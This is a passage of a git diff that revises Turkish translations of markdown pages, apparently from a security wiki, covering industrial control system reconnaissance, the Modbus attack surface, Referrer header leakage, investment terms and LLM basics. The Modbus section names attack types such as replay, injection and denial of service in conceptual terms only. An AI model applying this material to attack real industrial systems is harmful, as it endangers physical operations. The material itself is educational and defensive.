sanayilerde farklılık göstermektedir, bu nedenle bilgi toplama kritik öneme sahiptir. +Endüstriyel Kontrol Sistemleri belirli standartlara göre kurulduğundan, her bir bileşeni bilmek kontrol sistemindeki diğer mekanizmaları birbirine bağlamaya yardımcı olacaktır. Bu cihazların, örneğin PLC'ler ve SCADA sistemleri, kurulumu çeşitli sanayilerde farklıdır; bu nedenle bilgi toplama kritik öneme sahiptir. -Endüstriyel Kontrol Sistemleri bazen karmaşık olabilir ve bu nedenle bir şeyler yapmak için çok fazla sabır gerektirir. Saldırı planlamadan ve herhangi bir istismar geliştirmeden önce keşif ve keşif yapmakla ilgilidir. +Endüstriyel Kontrol Sistemleri bazen karmaşık olabilir ve bu nedenle bir şey yapmak için çok fazla sabır gerektirir. Saldırı planlamadan ve herhangi bir istismar geliştirmeden önce her şey keşif ve keşif ile ilgilidir. Bu teknikler, endüstriyel kontrol sistemleri için saldırılara karşı koruma sağlamak ve mavi takım çalışması için de kullanılabilir. diff --git a/src/todo/industrial-control-systems-hacking/modbus.md b/src/todo/industrial-control-systems-hacking/modbus.md index 7fb398830..c08a6c172 100644 --- a/src/todo/industrial-control-systems-hacking/modbus.md +++ b/src/todo/industrial-control-systems-hacking/modbus.md @@ -2,9 +2,9 @@ ## Modbus Protokolüne Giriş -Modbus protokolü, Endüstriyel Otomasyon ve Kontrol Sistemlerinde yaygın olarak kullanılan bir protokoldür. Modbus, programlanabilir mantık denetleyicileri (PLC'ler), sensörler, aktüatörler ve diğer endüstriyel cihazlar gibi çeşitli cihazlar arasında iletişime olanak tanır. Modbus Protokolünü anlamak, bu protokolün ICS'de en çok kullanılan iletişim protokolü olması ve PLC'lere komut enjekte etme ve dinleme için büyük bir saldırı yüzeyi sunması nedeniyle önemlidir. +Modbus protokolü, Endüstriyel Otomasyon ve Kontrol Sistemlerinde yaygın olarak kullanılan bir protokoldür. Modbus, programlanabilir mantık denetleyicileri (PLC'ler), sensörler, aktüatörler ve diğer endüstriyel cihazlar gibi çeşitli cihazlar arasında iletişim sağlar. Modbus Protokolünü anlamak, bu protokolün ICS'de en çok kullanılan iletişim protokolü olması ve PLC'lere komut enjekte etme ve dinleme için büyük bir saldırı yüzeyi sunması nedeniyle önemlidir. -Burada, protokolün bağlamını ve çalışma doğasını sağlayan kavramlar madde madde belirtilmiştir. ICS sistem güvenliğindeki en büyük zorluk, uygulama ve yükseltme maliyetidir. Bu protokoller ve standartlar, hala yaygın olarak kullanılan 80'ler ve 90'ların başında tasarlanmıştır. Bir endüstrinin birçok cihazı ve bağlantısı olduğundan, cihazları yükseltmek çok zordur, bu da hacker'lara eski protokollerle başa çıkma avantajı sağlar. Modbus'a yönelik saldırılar, endüstri için kritik bir operasyon olduğu için yükseltme olmadan kullanılmaya devam edileceğinden pratikte kaçınılmaz gibidir. +Burada, protokolün bağlamını ve çalışma doğasını sağlayan kavramlar madde madde belirtilmiştir. ICS sistem güvenliğindeki en büyük zorluk, uygulama ve yükseltme maliyetidir. Bu protokoller ve standartlar, hala yaygın olarak kullanılan 80'ler ve 90'ların başında tasarlanmıştır. Bir endüstrinin birçok cihazı ve bağlantısı olduğundan, cihazları yükseltmek çok zordur, bu da hacker'lara eski protokollerle başa çıkma avantajı sağlar. Modbus'a yönelik saldırılar, yükseltme olmadan kullanılmaya devam edileceğinden neredeyse kaçınılmazdır; çünkü bu, endüstri için kritik bir işlemdir. ## İstemci-Sunucu Mimarisi @@ -20,12 +20,12 @@ Veri, Modbus protokolünde ASCII veya İkili olarak iletilir, ancak ikili format ## Fonksiyon Kodları -ModBus Protokolü, PLC'leri ve çeşitli kontrol cihazlarını çalıştırmak için kullanılan belirli fonksiyon kodlarının iletimi ile çalışır. Bu bölüm, tekrar saldırılarının fonksiyon kodlarını yeniden ileterek gerçekleştirilebileceği için önemlidir. Eski cihazlar, veri iletimi için herhangi bir şifreleme desteği sunmaz ve genellikle uzun kablolarla bağlanır, bu da bu kabloların manipüle edilmesine ve verilerin yakalanmasına/enjekte edilmesine yol açar. +ModBus Protokolü, PLC'leri ve çeşitli kontrol cihazlarını çalıştırmak için kullanılan belirli fonksiyon kodlarının iletimi ile çalışır. Bu bölüm, fonksiyon kodlarını yeniden ileterek tekrar saldırıları yapılabileceği için önemlidir. Eski cihazlar, veri iletimi için herhangi bir şifreleme desteklemez ve genellikle onları bağlayan uzun teller vardır; bu da bu tellerin manipüle edilmesine ve verilerin yakalanmasına/enjekte edilmesine yol açar. ## Modbus'ın Adreslenmesi Ağdaki her cihazın, cihazlar arasında iletişim için gerekli olan benzersiz bir adresi vardır. Modbus RTU, Modbus TCP gibi protokoller, adreslemeyi uygulamak için kullanılır ve veri iletimi için bir taşıma katmanı işlevi görür. Aktarılan veri, mesajı içeren Modbus protokol formatındadır. -Ayrıca, Modbus, iletilen verilerin bütünlüğünü sağlamak için hata kontrolleri de uygular. Ancak en önemlisi, Modbus bir Açık Standarttır ve herkes bunu cihazlarında uygulayabilir. Bu, bu protokolün küresel standart haline gelmesini sağladı ve endüstriyel otomasyon endüstrisinde yaygın olarak kullanılmaktadır. +Ayrıca, Modbus, iletilen verilerin bütünlüğünü sağlamak için hata kontrolleri de uygular. Ancak en önemlisi, Modbus bir Açık Standarttır ve herkes bunu cihazlarında uygulayabilir. Bu, bu protokolün küresel standart haline gelmesini sağladı ve endüstriyel otomasyon endüstrisinde yaygın hale geldi. -Büyük ölçekli kullanımı ve yükseltme eksikliği nedeniyle, Modbus'a saldırmak, saldırı yüzeyi ile önemli bir avantaj sağlar. ICS, cihazlar arasındaki iletişime yüksek derecede bağımlıdır ve bunlara yapılan herhangi bir saldırı, endüstriyel sistemlerin operasyonu için tehlikeli olabilir. Tekrar, veri enjekte etme, veri dinleme ve sızdırma, Hizmet Reddi, veri sahteciliği gibi saldırılar, saldırgan tarafından iletim ortamı belirlendiğinde gerçekleştirilebilir. +Büyük ölçekli kullanımı ve yükseltme eksikliği nedeniyle, Modbus'a saldırmak, saldırı yüzeyi ile önemli bir avantaj sağlar. ICS, cihazlar arasındaki iletişime yüksek derecede bağımlıdır ve bunlara yapılan herhangi bir saldırı, endüstriyel sistemlerin işletimi için tehlikeli olabilir. Tekrar, veri enjekte etme, veri dinleme ve sızdırma, Hizmet Reddi, veri sahteciliği gibi saldırılar, iletim ortamı saldırgan tarafından tanımlanırsa gerçekleştirilebilir. diff --git a/src/todo/interesting-http.md b/src/todo/interesting-http.md index aa8f25ba2..280e451cb 100644 --- a/src/todo/interesting-http.md +++ b/src/todo/interesting-http.md @@ -1,16 +1,16 @@ {{#include ../banners/hacktricks-training.md}} -# Yönlendiren başlıklar ve politika +# Referrer başlıkları ve politikası -Yönlendiren, tarayıcılar tarafından hangi sayfanın önceki ziyaret edildiğini belirtmek için kullanılan başlıktır. +Referrer, tarayıcıların hangi sayfanın önceki ziyaret edildiğini belirtmek için kullandığı başlıktır. ## Hassas bilgilerin sızdırılması -Eğer bir web sayfasında herhangi bir noktada hassas bilgiler GET isteği parametrelerinde yer alıyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) bir öneride bulunabiliyorsa, en son GET isteğindeki hassas bilgileri dışarıya sızdırabilir. +Eğer bir web sayfası içinde herhangi bir hassas bilgi GET isteği parametrelerinde yer alıyorsa, eğer sayfa dış kaynaklara bağlantılar içeriyorsa veya bir saldırgan kullanıcının saldırgan tarafından kontrol edilen bir URL'yi ziyaret etmesini sağlamak için (sosyal mühendislik) bir öneride bulunabiliyorsa, en son GET isteği içindeki hassas bilgileri dışarıya sızdırabilir. ## Azaltma -Tarayıcının hassas bilgilerin diğer web uygulamalarına gönderilmesini **önleyebilecek** bir **Yönlendiren politikası** izlemesini sağlayabilirsiniz: +Tarayıcının hassas bilgilerin diğer web uygulamalarına gönderilmesini **önleyebilecek** bir **Referrer-policy** izlemesini sağlayabilirsiniz: ``` Referrer-Policy: no-referrer Referrer-Policy: no-referrer-when-downgrade diff --git a/src/todo/investment-terms.md b/src/todo/investment-terms.md index b8aa72c45..132058a64 100644 --- a/src/todo/investment-terms.md +++ b/src/todo/investment-terms.md @@ -6,20 +6,20 @@ Bu, bazı ticaret yapmanın en temel yoludur. **Almak veya satmak istediğiniz v Genellikle, işlemi mümkün olan en hızlı şekilde gerçekleştirmek için **mevcut piyasa fiyatını** da kullanabilirsiniz. -**Stop Loss - Limit**: Ayrıca, varlıkların alım veya satım fiyatını belirtirken, ulaşılması durumunda (zararları durdurmak için) alım veya satım için daha düşük bir fiyat da belirtebilirsiniz. +**Stop Loss - Limit**: Ayrıca, varlıkların alım veya satım fiyatını belirtirken, ulaşılması durumunda alım veya satım için daha düşük bir fiyat da belirtebilirsiniz (zararları durdurmak için). ## Vadeli İşlemler -Vadeli işlem, 2 tarafın **belirli bir fiyattan gelecekte bir şey edinme konusunda anlaşmaya vardığı** bir sözleşmedir. Örneğin, 6 ay içinde 1 bitcoin satmak için 70.000$. +Vadeli işlem, 2 tarafın **belirli bir fiyattan gelecekte bir şey edinme konusunda anlaşmaya vardığı** bir sözleşmedir. Örneğin, 6 ay içinde 70.000$'a 1 bitcoin satmak. -Elbette, 6 ay içinde bitcoin değeri 80.000$ olursa, satıcı taraf para kaybeder ve alıcı taraf kazanır. 6 ay içinde bitcoin değeri 60.000$ olursa, tersine olur. +Elbette, 6 ay içinde bitcoin değeri 80.000$ olursa, satıcı taraf para kaybeder ve alıcı taraf kazanır. 6 ay içinde bitcoin değeri 60.000$ olursa, tam tersi olur. Ancak, bu, bir ürün üreten ve maliyetleri karşılayacak bir fiyattan satabileceğinden emin olmak isteyen işletmeler için ilginçtir. Ya da gelecekte bir şey için sabit fiyatlar sağlamak isteyen işletmeler için, hatta daha yüksek olsa bile. -Borsa işlemlerinde ise genellikle kar elde etmeye çalışmak için kullanılır. +Borsa işlemlerinde bu genellikle kar elde etmeye çalışmak için kullanılır. * "Uzun pozisyon" birinin fiyatın artacağına bahse girdiği anlamına gelir. -* "Kısa pozisyon" ise birinin fiyatın düşeceğine bahse girdiği anlamına gelir. +* "Kısa pozisyon" birinin fiyatın düşeceğine bahse girdiği anlamına gelir. ### Vadeli İşlemlerle Korunma @@ -49,20 +49,20 @@ Ancak, alıcı opsiyonu açmak için satıcıya bir ücret ödeyecektir (bu nede ### 1. **Zorunluluk vs. Hak:** -* **Vadeli İşlemler:** Bir vadeli işlem sözleşmesi satın aldığınızda veya sattığınızda, belirli bir tarihte belirli bir fiyattan bir varlık satın alma veya satma konusunda **bağlayıcı bir anlaşmaya** girmiş olursunuz. Hem alıcı hem de satıcı, sözleşme süresinde **zorunludur**. +* **Vadeli İşlemler:** Bir vadeli işlem sözleşmesi satın aldığınızda veya sattığınızda, belirli bir tarihte belirli bir fiyattan bir varlık satın alma veya satma konusunda **bağlayıcı bir anlaşmaya** girmiş olursunuz. Hem alıcı hem de satıcı, sözleşme süresinde sözleşmeyi yerine getirmekle **yükümlüdür** (sözleşme önceden kapatılmadığı sürece). * **Opsiyonlar:** Opsiyonlarla, belirli bir tarihten önce veya belirli bir tarihte belirli bir fiyattan bir varlık satın alma (bir **call opsiyonu** durumunda) veya satma (bir **put opsiyonu** durumunda) **hakkına, ancak zorunluluğa sahip** olursunuz. **Alıcı**, opsiyonu uygulama seçeneğine sahiptir, **satıcı** ise alıcı opsiyonu kullanmaya karar verirse ticareti yerine getirmekle yükümlüdür. ### 2. **Risk:** -* **Vadeli İşlemler:** Hem alıcı hem de satıcı, sözleşmeyi tamamlama zorunluluğu nedeniyle **sınırsız risk** alır. Risk, sözleşmedeki kararlaştırılan fiyat ile sona erme tarihindeki piyasa fiyatı arasındaki farktır. -* **Opsiyonlar:** Alıcının riski, opsiyonu satın almak için ödenen **primle** sınırlıdır. Piyasa, opsiyon sahibinin lehine hareket etmezse, opsiyonu süresiz olarak bırakabilir. Ancak, opsiyonun **satıcısı** (yazarı) piyasa kendisine karşı önemli ölçüde hareket ederse sınırsız risk taşır. +* **Vadeli İşlemler:** Hem alıcı hem de satıcı, sözleşmeyi tamamlama yükümlülüğü nedeniyle **sınırsız risk** alır. Risk, sözleşme süresinde kararlaştırılan fiyat ile piyasa fiyatı arasındaki farktır. +* **Opsiyonlar:** Alıcının riski, opsiyonu satın almak için ödenen **primle** sınırlıdır. Piyasa, opsiyon sahibinin lehine hareket etmezse, opsiyonu süresiz bırakabilir. Ancak, opsiyonun **satıcısı** (yazarı), piyasa kendilerine karşı önemli ölçüde hareket ederse sınırsız risk taşır. ### 3. **Maliyet:** -* **Vadeli İşlemler:** Pozisyonu tutmak için gereken teminat dışında önceden bir maliyet yoktur, çünkü alıcı ve satıcı ticareti tamamlama zorunluluğuna sahiptir. +* **Vadeli İşlemler:** Pozisyonu tutmak için gereken teminat dışında önceden bir maliyet yoktur, çünkü alıcı ve satıcı ticareti tamamlama yükümlülüğündedir. * **Opsiyonlar:** Alıcı, opsiyonu kullanma hakkı için önceden bir **opsiyon primi** ödemelidir. Bu prim, opsiyonun maliyetidir. ### 4. **Kar Potansiyeli:** -* **Vadeli İşlemler:** Kar veya zarar, sona erme tarihindeki piyasa fiyatı ile sözleşmedeki kararlaştırılan fiyat arasındaki farka dayanır. -* **Opsiyonlar:** Alıcı, piyasa, ödenen primden daha fazla bir fiyat hareket ettiğinde kar elde eder. Satıcı, opsiyon kullanılmadığında primi alarak kar elde eder. +* **Vadeli İşlemler:** Kar veya zarar, sözleşmedeki kararlaştırılan fiyat ile vade sonunda piyasa fiyatı arasındaki farka dayanır. +* **Opsiyonlar:** Alıcı, piyasa, ödenen primden daha fazla bir fiyat hareket ettiğinde kar elde eder. Satıcı, opsiyon kullanılmadığında primi tutarak kar elde eder. diff --git a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md index c1d958290..bb2ac1711 100644 --- a/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md +++ b/src/todo/llm-training-data-preparation/0.-basic-llm-concepts.md @@ -2,7 +2,7 @@ ## Ön Eğitim -Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek model, dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlam açısından ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da hedeflenmiş uygulamalardaki performansını ve alaka düzeyini artırır. +Ön eğitim, büyük bir dil modelinin (LLM) geliştirilmesinde temel aşamadır; bu aşamada model, geniş ve çeşitli metin verilerine maruz kalır. Bu aşamada, **LLM dilin temel yapıları, kalıpları ve inceliklerini öğrenir**, dilbilgisi, kelime dağarcığı, sözdizimi ve bağlamsal ilişkiler dahil. Bu kapsamlı veriyi işleyerek, model dil ve genel dünya bilgisi hakkında geniş bir anlayış kazanır. Bu kapsamlı temel, LLM'nin tutarlı ve bağlam açısından ilgili metinler üretmesini sağlar. Ardından, bu önceden eğitilmiş model, belirli görevler veya alanlar için yeteneklerini uyarlamak amacıyla özel veri setleri üzerinde daha fazla eğitim alarak ince ayar yapılabilir; bu da hedef uygulamalardaki performansını ve alaka düzeyini artırır. ## Ana LLM Bileşenleri @@ -13,8 +13,8 @@ Genellikle bir LLM, onu eğitmek için kullanılan yapılandırma ile tanımlan - **Gömme Boyutu**: Her bir token veya kelimeyi temsil etmek için kullanılan vektörün boyutu. LLM'ler genellikle milyarlarca boyut kullanır. - **Gizli Boyut**: Sinir ağındaki gizli katmanların boyutu. - **Katman Sayısı (Derinlik)**: Modelin kaç katmana sahip olduğu. LLM'ler genellikle on katman kullanır. -- **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır. -- **Dropout**: Dropout, eğitim sırasında verilerin kaldırıldığı (olasılıkların 0'a döndüğü) yüzdelik bir şeydir; bu, **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır. +- **Dikkat Başlıkları Sayısı**: Dönüştürücü modellerde, bu her katmanda kullanılan ayrı dikkat mekanizmalarının sayısıdır. LLM'ler genellikle onca başlık kullanır. +- **Dropout**: Dropout, eğitim sırasında verilerin kaldırıldığı (olasılıklar 0'a döner) yüzdelik bir şeydir; **aşırı uyum sağlamayı önlemek** için kullanılır. LLM'ler genellikle %0-20 arasında kullanır. GPT-2 modelinin yapılandırması: ```json @@ -30,14 +30,14 @@ GPT_CONFIG_124M = { ``` ## PyTorch'ta Tensörler -PyTorch'ta, **tensör** çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır ve skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştirir. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, verilerin temsil edilmesi ve işlenmesi için birincil yoldur. +PyTorch'ta bir **tensör**, skalarlar, vektörler ve matrisler gibi kavramları potansiyel olarak daha yüksek boyutlara genelleştiren çok boyutlu bir dizi olarak hizmet eden temel bir veri yapısıdır. Tensörler, özellikle derin öğrenme ve sinir ağları bağlamında, verilerin temsil edilmesi ve işlenmesi için birincil yoldur. ### Tensörlerin Matematiksel Kavramı -- **Skalarlar**: Tek bir sayıyı temsil eden 0. dereceden tensörler (sıfır boyutlu). Örnek: 5 +- **Skalarlar**: Tek bir sayıyı (sıfır boyutlu) temsil eden 0. dereceden tensörler. Örnek: 5 - **Vektörler**: Bir boyutlu sayı dizisini temsil eden 1. dereceden tensörler. Örnek: \[5,1] - **Matrisler**: Satır ve sütunlarla iki boyutlu dizileri temsil eden 2. dereceden tensörler. Örnek: \[\[1,3], \[5,2]] -- **Daha Yüksek Dereceli Tensörler**: 3. dereceden veya daha yüksek tensörler, verileri daha yüksek boyutlarda temsil eder (örneğin, renkli görüntüler için 3D tensörler). +- **Daha Yüksek Dereceli Tensörler**: Üç veya daha fazla boyutta verileri temsil eden 3. dereceden veya daha yüksek tensörler (örneğin, renkli görüntüler için 3D tensörler). ### Tensörler Veri Konteyneri Olarak @@ -52,7 +52,7 @@ PyTorch tensörleri, sayısal verileri depolama ve işleme yetenekleri açısın ### PyTorch'ta Tensör Oluşturma -Tensörleri `torch.tensor` fonksiyonu kullanarak oluşturabilirsiniz: +Tensörleri `torch.tensor` fonksiyonunu kullanarak oluşturabilirsiniz: ```python pythonCopy codeimport torch @@ -79,7 +79,7 @@ Bir tensörün veri türünü `.dtype` niteliğini kullanarak kontrol edebilirsi tensor1d = torch.tensor([1, 2, 3]) print(tensor1d.dtype) # Output: torch.int64 ``` -- Python tam sayılarından oluşturulan tensörler `torch.int64` türündedir. +- Python tamsayılarından oluşturulan tensörler `torch.int64` türündedir. - Python ondalık sayılarından oluşturulan tensörler `torch.float32` türündedir. Bir tensörün veri türünü değiştirmek için `.to()` yöntemini kullanın: @@ -121,7 +121,7 @@ Tensörler, PyTorch'ta sinir ağları oluşturmak ve eğitmek için gereklidir: - Girdi verilerini, ağırlıkları ve biasları depolarlar. - Eğitim algoritmalarında ileri ve geri geçişler için gereken işlemleri kolaylaştırırlar. -- Autograd ile tensörler, gradyanların otomatik hesaplanmasını sağlar, optimizasyon sürecini kolaylaştırır. +- Autograd ile, tensörler gradyanların otomatik hesaplanmasını sağlar, optimizasyon sürecini kolaylaştırır. ## Otomatik Türev Alma @@ -131,7 +131,7 @@ Otomatik türev alma (AD), fonksiyonların **türevlerini (gradyanlarını)** ve **1. Zincir Kuralı** -Otomatik türev almanın temelinde, kalkülüsün **zincir kuralı** vardır. Zincir kuralı, bir fonksiyon bileşimi varsa, bileşen fonksiyonların türevlerinin çarpımının, bileşen fonksiyonun türevine eşit olduğunu belirtir. +Otomatik türev almanın temelinde, kalkülüsün **zincir kuralı** vardır. Zincir kuralı, bir fonksiyon bileşimi varsa, bileşen fonksiyonların türevlerinin çarpımının bileşen fonksiyonun türevini verdiğini belirtir. Matematiksel olarak, eğer `y=f(u)` ve `u=g(x)` ise, o zaman `y`'nin `x`'e göre türevi: @@ -139,7 +139,7 @@ Matematiksel olarak, eğer `y=f(u)` ve `u=g(x)` ise, o zaman `y`'nin `x`'e göre **2. Hesaplama Grafiği** -AD'de, hesaplamalar **hesaplama grafiği** olarak düğümlerle temsil edilir; her düğüm bir işlem veya bir değişkene karşılık gelir. Bu grafiği geçerek, türevleri verimli bir şekilde hesaplayabiliriz. +AD'de, hesaplamalar **hesaplama grafiği** olarak temsil edilir; burada her düğüm bir işlem veya bir değişkene karşılık gelir. Bu grafiği geçerek, türevleri verimli bir şekilde hesaplayabiliriz. 3. Örnek @@ -203,12 +203,12 @@ Birden fazla katmana sahip daha büyük sinir ağlarında, gradyanları hesaplam - **İleri Geçiş:** Girdileri her katmandan geçirerek ağın çıktısını hesaplayın. - **Kayıp Hesaplama:** Ağın çıktısını ve hedef etiketleri kullanarak kayıp fonksiyonunu değerlendirin. -- **Geri Geçiş (Geri Yayılım):** Çıktı katmanından giriş katmanına kadar zincir kuralını uygulayarak ağdaki her parametreye göre kaybın gradyanlarını hesaplayın. +- **Geri Geçiş (Geri Yayılım):** Çıktı katmanından giriş katmanına kadar zincir kuralını özyinelemeli olarak uygulayarak ağdaki her parametreye göre kaybın gradyanlarını hesaplayın. ### **2. Geri Yayılım Algoritması** - **Adım 1:** Ağ parametrelerini (ağırlıklar ve biaslar) başlatın. -- **Adım 2:** Her eğitim örneği için, çıktıları hesaplamak üzere bir ileri geçiş yapın. +- **Adım 2:** Her eğitim örneği için, çıktıları hesaplamak üzere bir ileri geçiş gerçekleştirin. - **Adım 3:** Kaybı hesaplayın. - **Adım 4:** Zincir kuralını kullanarak kaybın her parametreye göre gradyanlarını hesaplayın. - **Adım 5:** Parametreleri bir optimizasyon algoritması (örneğin, gradyan inişi) kullanarak güncelleyin. diff --git a/src/todo/llm-training-data-preparation/1.-tokenizing.md b/src/todo/llm-training-data-preparation/1.-tokenizing.md index 384b77053..bb2a42f23 100644 --- a/src/todo/llm-training-data-preparation/1.-tokenizing.md +++ b/src/todo/llm-training-data-preparation/1.-tokenizing.md @@ -2,7 +2,7 @@ ## Tokenizasyon -**Tokenizasyon**, verileri, örneğin metni, daha küçük, yönetilebilir parçalara _token_ denir. Her token, benzersiz bir sayısal tanımlayıcı (ID) ile atanır. Bu, metni makine öğrenimi modelleri tarafından işlenmeye hazırlamak için temel bir adımdır, özellikle doğal dil işleme (NLP) alanında. +**Tokenizasyon**, verileri, örneğin metni, daha küçük, yönetilebilir parçalara _token_ denilen birimlere ayırma sürecidir. Her token, benzersiz bir sayısal tanımlayıcı (ID) ile atanır. Bu, metni makine öğrenimi modelleri tarafından işlenmeye hazırlamak için temel bir adımdır, özellikle doğal dil işleme (NLP) alanında. > [!TIP] > Bu ilk aşamanın amacı çok basittir: **Girdiyi mantıklı bir şekilde token'lara (id'lere) ayırmak**. @@ -16,7 +16,7 @@ Metin: `"Merhaba, dünya!"`\ Tokenlar: `["Merhaba", ",", "dünya", "!"]` 2. **Bir Kelime Dağarcığı Oluşturma:** - Tokenları sayısal ID'lere dönüştürmek için bir **kelime dağarcığı** oluşturulur. Bu kelime dağarcığı, tüm benzersiz tokenları (kelimeler ve semboller) listeler ve her birine belirli bir ID atar. -- **Özel Tokenlar:** Çeşitli senaryoları ele almak için kelime dağarcığına eklenen özel sembollerdir: +- **Özel Tokenlar:** Bu, çeşitli senaryoları ele almak için kelime dağarcığına eklenen özel sembollerdir: - `[BOS]` (Dizinin Başlangıcı): Bir metnin başlangıcını belirtir. - `[EOS]` (Dizinin Sonu): Bir metnin sonunu belirtir. - `[PAD]` (Doldurma): Bir partideki tüm dizileri aynı uzunlukta yapmak için kullanılır. @@ -27,7 +27,7 @@ Eğer `"Merhaba"` ID `64` ile atanmışsa, `","` `455`, `"dünya"` `78`, ve `"!" - **Bilinmeyen Kelimeleri Ele Alma:**\ Eğer `"Hoşça kal"` gibi bir kelime kelime dağarcığında yoksa, `[UNK]` ile değiştirilir.\ `"Hoşça kal, dünya!"` → `["[UNK]", ",", "dünya", "!"]` → `[987, 455, 78, 467]`\ -&#xNAN;_(Varsayılarak `[UNK]` ID'si `987`dir)_ +&#xNAN;_(Varsayılan `[UNK]` ID'sinin `987` olduğu kabul edilirse)_ ### **Gelişmiş Tokenizasyon Yöntemleri** @@ -37,37 +37,37 @@ Temel tokenizer basit metinler için iyi çalışırken, büyük kelime dağarc - **Amaç:** Kelime dağarcığının boyutunu azaltır ve nadir veya bilinmeyen kelimeleri sıkça karşılaşılan byte çiftlerine ayırarak ele alır. - **Nasıl Çalışır:** - Token olarak bireysel karakterlerle başlar. -- En sık karşılaşılan token çiftlerini tek bir token haline getirir. -- Daha fazla sık çift birleştirilemeyecek hale gelene kadar devam eder. +- En sık karşılaşılan token çiftlerini tek bir token haline getirerek iteratif olarak birleştirir. +- Daha fazla sık karşılaşılan çift birleştirilemeyecek duruma gelene kadar devam eder. - **Faydaları:** -- Tüm kelimelerin mevcut alt kelime tokenları ile temsil edilebilmesi nedeniyle `[UNK]` tokenına ihtiyaç duyulmaz. -- Daha verimli ve esnek bir kelime dağarcığı. +- Tüm kelimelerin mevcut alt kelime tokenları birleştirilerek temsil edilebileceğinden `[UNK]` tokenına ihtiyaç duyulmaz. +- Daha verimli ve esnek bir kelime dağarcığı sağlar. - _Örnek:_\ -`"oynama"` token olarak `["oyna", "ma"]` şeklinde olabilir eğer `"oyna"` ve `"ma"` sıkça karşılaşılan alt kelimelerse. +`"oynama"` token olarak `["oyna", "ma"]` şeklinde ayrılabilir eğer `"oyna"` ve `"ma"` sıkça karşılaşılan alt kelimelerse. 2. **WordPiece:** -- **Kullanım Alanı:** BERT gibi modeller. -- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri ele almak ve kelime dağarcığı boyutunu azaltmak için kelimeleri alt kelime birimlerine ayırır. +- **Kullananlar:** BERT gibi modeller. +- **Amaç:** BPE'ye benzer, bilinmeyen kelimeleri ele almak ve kelime dağarcığını azaltmak için kelimeleri alt kelime birimlerine ayırır. - **Nasıl Çalışır:** - Bireysel karakterlerden oluşan bir temel kelime dağarcığı ile başlar. -- Eğitim verilerinin olasılığını maksimize eden en sık alt kelimeyi iteratif olarak ekler. +- Eğitim verilerinin olasılığını maksimize eden en sık karşılaşılan alt kelimeyi iteratif olarak ekler. - Hangi alt kelimelerin birleştirileceğine karar vermek için olasılıksal bir model kullanır. - **Faydaları:** - Yönetilebilir bir kelime dağarcığı boyutu ile kelimeleri etkili bir şekilde temsil etme arasında denge kurar. - Nadir ve bileşik kelimeleri verimli bir şekilde ele alır. - _Örnek:_\ -`"mutsuzluk"` token olarak `["mut", "suz", "luk"]` veya `["mut", "suzluk"]` şeklinde olabilir, kelime dağarcığına bağlı olarak. +`"mutsuzluk"` token olarak `["mut", "suz", "luk"]` veya `["mut", "suzluk"]` şeklinde ayrılabilir, bu kelime dağarcığına bağlıdır. 3. **Unigram Dil Modeli:** -- **Kullanım Alanı:** SentencePiece gibi modeller. +- **Kullananlar:** SentencePiece gibi modeller. - **Amaç:** En olası alt kelime token setini belirlemek için olasılıksal bir model kullanır. - **Nasıl Çalışır:** - Potansiyel tokenların büyük bir seti ile başlar. - Eğitim verilerinin modelin olasılığını en az artıran tokenları iteratif olarak kaldırır. - Her kelimenin en olası alt kelime birimleri ile temsil edildiği bir kelime dağarcığı oluşturur. - **Faydaları:** -- Esnek ve dili daha doğal bir şekilde modelleyebilir. -- Genellikle daha verimli ve kompakt tokenizasyonlar ile sonuçlanır. +- Esnek olup dili daha doğal bir şekilde modelleyebilir. +- Genellikle daha verimli ve kompakt tokenizasyonlar sağlar. - _Örnek:_\ -`"uluslararasılaştırma"` daha küçük, anlamlı alt kelimelere `["uluslararası", "laştırma"]` şeklinde token olarak ayrılabilir. +`"uluslararasılaştırma"` daha küçük, anlamlı alt kelimelere `["uluslararası", "laştırma"]` şeklinde ayrılabilir. ## Kod Örneği diff --git a/src/todo/llm-training-data-preparation/3.-token-embeddings.md b/src/todo/llm-training-data-preparation/3.-token-embeddings.md index 15465f9b9..f72ba23fd 100644 --- a/src/todo/llm-training-data-preparation/3.-token-embeddings.md +++ b/src/todo/llm-training-data-preparation/3.-token-embeddings.md @@ -2,13 +2,13 @@ ## Token Embeddings -Metin verilerini tokenize ettikten sonra, GPT gibi büyük dil modelleri (LLM'ler) için verileri hazırlamanın bir sonraki kritik adımı **token embedding'leri** oluşturmaktır. Token embedding'leri, ayrık token'leri (örneğin kelimeler veya alt kelimeler) modelin işleyip öğrenebileceği sürekli sayısal vektörlere dönüştürür. Bu açıklama, token embedding'lerini, başlatılmasını, kullanımını ve modelin token dizilerini anlama yetisini artırmada pozisyonel embedding'lerin rolünü detaylandırır. +Metin verilerini tokenize ettikten sonra, GPT gibi büyük dil modelleri (LLM'ler) için verileri hazırlamanın bir sonraki kritik adımı **token embedding'leri** oluşturmaktır. Token embedding'leri, ayrık token'leri (örneğin kelimeler veya alt kelimeler) modelin işleyebileceği ve öğrenebileceği sürekli sayısal vektörlere dönüştürür. Bu açıklama, token embedding'lerini, başlatılmasını, kullanımını ve modelin token dizilerini anlama yetisini artırmada pozisyonel embedding'lerin rolünü detaylandırır. > [!TIP] -> Bu üçüncü aşamanın amacı çok basit: 